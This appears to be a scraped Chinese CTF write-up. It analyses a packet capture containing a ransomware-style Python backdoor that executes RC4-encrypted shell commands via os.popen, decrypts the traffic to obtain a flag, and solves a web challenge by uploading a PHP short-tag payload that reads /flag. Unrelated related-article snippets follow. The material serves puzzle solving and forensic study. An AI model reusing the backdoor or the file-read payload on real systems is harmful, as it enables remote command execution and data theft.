    ip = '192.168.31.42'
    port = 8899
    socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    socket_server.bind((ip, port))
    socket_server.listen(1)
    while True:
        conn, addr = socket_server.accept()
        with conn:
            print("connect::", addr)
            try:
                while True:
                    data = conn.recv(102400)
                    # print("server recevie peername and data:", conn.getpeername(), data.decode())
                    if data:
                        data = data.decode()
                        data = decrypt(data, key)
                        data = json.loads(data)
                        if data["opcode"] == "shell":
                            print("shellCMD::", data["msg"])
                            res = system(data["msg"])
                            print("res::", res)
                            conn.sendall(encrypt(res, key).encode())
                    else:
                        break
            except ConnectionResetError as e:
                print("远程连接断开")


if __name__ == '__main__':
    main()

通信端口和通信IP都有了,直接过滤即可,根据提示使用这个Epoch Time作为解密时的时间戳。
但是这个后面在tcp.stream eq 58发现又传了一遍这个脚本,这有点可疑。

image.png
和之前的对比发现修改了端口
image.png

ip.src==192.168.31.42 and tcp.srcport==9999 and data

image.png
直接修改脚本进行解密,把时间戳填进去

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

# with open("./s3creT.txt", "r") as f:
#     key = f.read()
key = "R@ns0mwar3_V1ru5"
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data, timestamp):
    import re
    from datetime import datetime, timedelta
    # current_time = datetime.now()
    current_time = datetime.fromtimestamp(timestamp)
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key, timestamp):
    data = t1(data, timestamp)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


def main():
    # ip = '192.168.31.42'
    # port = 8899
    # socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    # socket_server.bind((ip, port))
    # socket_server.listen(1)
    # while True:
    #     conn, addr = socket_server.accept()
    #     with conn:
    #         print("connect::", addr)
    #         try:
    #             while True:
    #                 data = conn.recv(102400)
    #                 # print("server recevie peername and data:", conn.getpeername(), data.decode())
    #                 if data:
    #                     data = data.decode()
    #                     data = decrypt(data, key)
    #                     data = json.loads(data)
    #                     if data["opcode"] == "shell":
    #                         print("shellCMD::", data["msg"])
    #                         res = system(data["msg"])
    #                         print("res::", res)
    #                         conn.sendall(encrypt(res, key).encode())
    #                 else:
    #                     break
    #         except ConnectionResetError as e:
    #             print("猫驴聹莽篓聥猫驴聻忙聨楼忙聳颅氓录聙")

    data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
    timestamp = 1705562796.602401000
    data = bytes.fromhex(data)
    data = data.decode('utf-8')
    result = decrypt(data, key, timestamp)
    print(result)
    # data = json.loads(data)
    # if data["opcode"] == "shell":
    #     print("shellCMD::", data["msg"])
    #     res = system(data["msg"])
    #     print("res::", res)


if __name__ == '__main__':
    main()
    # 运行结果:flag{3741b40e-3185-4a9a-80a6-83403e4942fc}

Ezdede

直接这里传一个短标签:<?=readfile('/flag')?>
image.png
直接读flag
image.png

可信计算

难蚌

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/342541.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【办公类-22-01】20240123 UIBOT逐一提取CSDN质量分

背景需求&#xff1a; 最近每天传2份Python&#xff0c;发现平均分从73.5降到了72.7。网上搜索一下原因&#xff0c;发现每篇CSDN都有一个评分&#xff08;以下是查分网站&#xff09; https://www.csdn.net/qchttps://www.csdn.net/qc 但是一篇一篇查询&#xff0c;显然太繁…

【图论--搜索篇】宽度优先搜索,广度优先搜索

今日语录&#xff1a;成功是一种心态&#xff0c;如果你相信自己能做到&#xff0c;那你已经迈出成功的第一步。 文章目录 宽度优先搜索&#xff08;bfs&#xff09;广度优先搜索&#xff08;dfs&#xff09; 宽度优先搜索&#xff08;bfs&#xff09; #include <iostream&…

(M)unity2D敌人的创建、人物属性设置,遇敌掉血

敌人的创建 1.敌人添加与组件设置 1&#xff09;添加敌人后&#xff0c;刚体添加&#xff0c;碰撞体添加&#xff08;一个碰撞体使猪在地上走&#xff0c;不接触人&#xff0c;另一个碰撞体组件使人和猪碰在一起产生伤害&#xff09; ①刚体 ②碰撞体一 设置的只在脚下&a…

图书管理系统-Python

相关代码&#xff1a; # Time: 2024/1/23 16:16 # Author: 马龙强 # File: 图书管理系统.py # software: PyCharm class Book():def __init__(self,name,auther,status,bookindex):self.name nameself.auther autherself.status statusself.bookindex bookindexdef __str…

【第十五课】数据结构:堆 (“堆”的介绍+主要操作 / acwing-838堆排序 / c++代码 )

目录 关于堆的一些知识的回顾 数据结构&#xff1a;堆的特点 "down" 和 "up"&#xff1a;维护堆的性质 down up 数据结构&#xff1a;堆的主要操作 acwing-838堆排序 代码如下 时间复杂度分析 确实是在写的过程中频繁回顾了很多关于树的知识&…

华为发布 HarmonyOS NEXT 鸿蒙星河版

文章目录 个人简介 在 2024-01-18 下午于深圳举办的鸿蒙生态千帆启航仪式上&#xff0c;华为常务董事兼终端BG CEO余承东宣布了HarmonyOS NEXT&#xff08;鸿蒙星河版&#xff09;的开发者预览版面向开发者开放申请。这一版本旨在实现六大极致原生体验&#xff0c;包括原生精致…

【某某大学的探索之旅】奇怪的登录框概率性布尔报错盲注绕过

在某某大学的探索过程中&#xff0c;发现了一个比较奇怪的布尔报错盲注 它这里本来登录有一个滑动验证码&#xff0c;token是滑动验证码每次校验生成的&#xff0c;从处理逻辑讲&#xff0c;这里的token是不能复用的&#xff0c;但是这里的token却是可以复用&#xff0c;这本来…

【分布式技术】消息队列Kafka

目录 一、Kafka概述 二、消息队列Kafka的好处 三、消息队列Kafka的两种模式 四、Kafka 1、Kafka 定义 2、Kafka 简介 3、Kafka 的特性 五、Kafka的系统架构 六、实操部署Kafka集群 步骤一&#xff1a;在每一个zookeeper节点上完成kafka部署 ​编辑 步骤二&#xff1a…

喜讯 | 华院计算摘得“2023大数据产业年度创新技术突破”奖

2024年1月17日&#xff0c; 由数据猿和上海大数据联盟主办&#xff0c;上海市经济和信息化委员会、上海市科学技术委员会指导的“第六届金猿季&魔方论坛——大数据产业发展论坛”在上海市四行仓库举行。论坛以“小趋势大未来”为主题&#xff0c;围绕大数据产业的各个领域展…

〖大前端 - ES6篇①〗- ES6简介

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;哈哥撩编程&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xff0c;目前在公司…

【表情识别阅读笔记】Towards Semi-Supervised Deep FER with An Adaptive Confidence Margin

论文名&#xff1a; Towards Semi-Supervised Deep Facial Expression Recognition with An Adaptive Confidence Margin 论文来源&#xff1a; CVPR 发表时间&#xff1a; 2022-04 研究背景&#xff1a; 对大量图片或视频进行手工标注表情是一件极其繁琐的事情&#xff0c;因此…

UDP和TCP代理协议有什么区别?哪个更好

在互联网的世界里&#xff0c;数据传输的方式有很多种&#xff0c;其中 UDP 和 TCP 是两种常见的传输协议。而代理协议则是为了在网络中传输数据时提供安全、稳定和高效的传输环境。那么&#xff0c;UDP 和 TCP 代理协议有什么区别呢&#xff1f;哪个更好呢&#xff1f;接下来&…

C++版QT:电子时钟

digiclock.h #ifndef DIGICLOCK_H #define DIGICLOCK_H ​ #include <QLCDNumber> ​ class DigiClock : public QLCDNumber {Q_OBJECT public:DigiClock(QWidget* parent 0);void mousePressEvent(QMouseEvent*);void mouseMoveEvent(QMouseEvent*); public slots:voi…

docker - compose 部署 Tomcat

目录 下面用 docker-compose 方法部署 Tomcat 1、准备工作 2、部署容器 启动容器 查看新启动的容器 3、总结 下面用 docker-compose 方法部署 Tomcat 1、准备工作 先在主机创建工作文件夹&#xff0c;为了放置 Tomcat 的配置文件等。创建文件夹的方法&#xff0c;自己搞…

Kubernetes operator(一)client-go篇【更新中】

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 Kubernetes operator学习 系列第一篇&#xff0c;主要对client-go进行学习&#xff0c;从源码阅读角度&#xff0c;学习client-go各个组件的实现原理、如何协同工作等参考视频&#xff1a;Bilibili 2022年最新k…

应用app的服务器如何增加高并发

增强服务器的高并发能力是现代网络应用非常关键的需求。面对用户数量的不断增长和数据量的膨胀&#xff0c;服务器必须能够处理大量并发请求。以下是一些提高服务器高并发能力的常用方法和具体实施细节&#xff1a; 优化服务器和操作系统配置 服务器和操作系统的默认配置不一定…

大模型学习与实践笔记(十二)

将RAG生成模型部署到openxlab 平台 代码仓库&#xff1a;https://github.com/AllYoung/LLM4opencv 1&#xff1a;创建代码仓库 在 GitHub 中创建存放应用代码的仓库&#xff0c;其代码大致目录树如下&#xff1a; ├─GitHub repo │ ├─app.py # …

多场景建模:阿里多场景多任务元学习方法M2M

multi-scenario multi-task meta learning approach (M2M) 背景 广告领域大部分是针对用户建模的&#xff0c;像点击率预估&#xff0c;很少有针对广告主需求建模&#xff08;广告消耗预估、活跃率/流失率预估、广告曝光量预估&#xff09;&#xff0c;广告的类型较多&#x…

数据库-分库分表初探

文章目录 分库策略垂直切分垂直分库&#xff08;专库专用&#xff09;垂直分表&#xff08;拆表&#xff09;优点缺点 水平(Sharding)切分水平分表库内分表分库分表优点缺点 分表策略hash取模方案range范围区间取值方案映射表方案 分库分表问题事务一致性问题跨节点关联查询跨节…

隐藏服务器源IP的几种方法

为网络管理员的我们多知道遇到过服务器因为拒绝服务攻击(DDOS攻击)遇到网站瘫痪的情况是很糟心&#xff0c;随着客户信息越来越受到公司企业的重视&#xff0c;网站服务器的安全也越来越受到关注&#xff0c;但无法避免的是会遇到黑客使用DDoS攻击业务。 下面简单介绍一下隐藏i…
最新文章